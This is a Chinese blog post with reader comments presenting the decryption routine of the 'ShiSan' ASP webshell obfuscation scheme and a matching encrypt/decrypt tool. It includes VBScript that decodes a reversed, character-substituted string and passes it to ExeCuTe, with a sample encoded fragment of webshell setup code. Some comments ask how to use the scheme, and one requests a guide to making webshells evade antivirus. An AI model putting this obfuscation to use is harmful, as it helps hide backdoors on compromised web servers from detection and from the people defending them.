逆的十三的一个解密函数，可用于webshell的加密和解密。上图
解密函数：
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””)
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) +ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
使用方法：
上面是十三的一个解密函数，俺相应的逆了一个加密函数，把加密的字串复制到这个文本框中就可以进行
解密和加密了。
比如：
ShiSan=”╋╋ssapresu=prevres╋lru&)╁tsoh_ptth╁(selbairavrevres.tseuqer=urevres╋)╁/╁(htaPpaM.revreS=tooRWWW╋)╁.╁(htaPpaM.revreS=htaPtooR╋)╁noitcA╁(tseuqeR=noitcA╋)╁RDDA_LACOL╁(selbairaVrevreS.tseuqeR=PIrevreS╋)╁LRU╁(selbairaVrevreS.tseuqeR=LRU”
ExeCuTe(ShiSanFun(ShiSan))
输入双引号（“”）中的乱码就行了。
2009.10.9
金刀客-https://www.daokers.com
使用方法：
软件下载地址：
点击下载此文件
十三字符加解密工具
(5)个小伙伴在吐槽
- 饿， 知道了，加密的时候少了╋╋
- 不知道是我的用法错误还是怎样，即使是用这工具本身加密的，然后再解密 都会显示“你确定所加密代码的解密函数与ShiSanFun函数一样？”
- 是解密的，但是解密了之后不能运行啊。<%Response.write "123"%>先加密成为>%`321` etirw.esnopseR%<，然后在解密执行，正常应该输出123，可是运行了不输出123.
- 我比较笨。加密函数写好了。不会加密。 <% dim str,newstr,ps,i str=">%`321` etirw.esnopseR%<" newstr=replace(str,"`","""") newstr=replace(newstr,"~",chr(13)&chr(10)) for i=1 to len(newstr) ps=mid(newstr,i,1)&ps next ' Response.write ps ExeCuTe(ps) %> 这个有问题吗？加密的那一段是<%Response.write "123"%> 如何还原？
- 看过你的文章，都很不错。 希望能写一篇系统的webshell 免杀文章。。。
